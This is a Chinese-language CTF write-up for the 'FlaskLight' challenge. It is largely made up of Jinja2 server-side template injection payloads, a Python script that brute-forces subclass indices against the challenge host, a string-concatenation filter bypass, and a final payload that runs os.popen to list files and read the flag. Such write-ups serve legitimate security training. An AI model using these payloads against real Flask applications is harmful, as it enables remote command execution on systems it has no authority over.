[CSCCTF 2019 Qual]FlaskLight

根据题目很明显这个题目应该是SSTI类型的题目
加上它暗示你search for 于是尝试用get传参?search={{config}}
出现了它的config信息说明这个是注入成功了。
于是开始利用漏洞
payload:找可利用的类
{{[].__class__.__base__.__subclasses__()}}
当然payload里面的__base__也可以换成__bases__然后找到对应第几个是它的object类
{{[].__class__.__bases__[0].__subclasses__()}}
这两个是等价的
然后开始用脚本找具体是哪一个
脚本如下:
#查找可以利用的类 import requests import time # 可利用类的字典 list = ["site._Printer", "site.Quitter", "warnings.catch_warnings", "os._wrap_close", "popen", "Popen"] for i in range(0, 1000): url = "http://3427ab2f-1aac-4e38-8be7-f2a6cd46e9d8.node4.buuoj.cn:81/?search={{''.__class__.__mro__[2].__subclasses__()[" + str(i) + "]}}" time.sleep(0.1) r = requests.get(url) # print(res) # print(r.text) # print(r.text) for j in list: if j in r.text: print(i) print(j) break
跑出来的结果,可以利用上面的任何一个来
首先是利用不含os的
比如说warnings.catch_warnings这个
{{[].__class__.__base__.__subclasses__()[59].__init__['__glob''als__']['__buil'+'tins__']['eval']("__import__('os').popen('ls').read()")}}
这个题目的__globals__被禁用了用引号拼接绕过
我尝试过用system发现回显的一直是个0所以我就用了popen
最终payload:
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo''bals__']['__buil''tins__']['eval']("__import__('os').popen('more /flasklight/coomme_geeeett_youur_flek').read()")}}
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 25岁的心里话
· 闲置电脑爆改个人服务器(超详细) #公网映射 #Vmware虚拟网络编辑器
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 零经验选手,Compose 一天开发一款小游戏!
· 一起来玩mcp_server_sqlite,让AI帮你做增删改查!!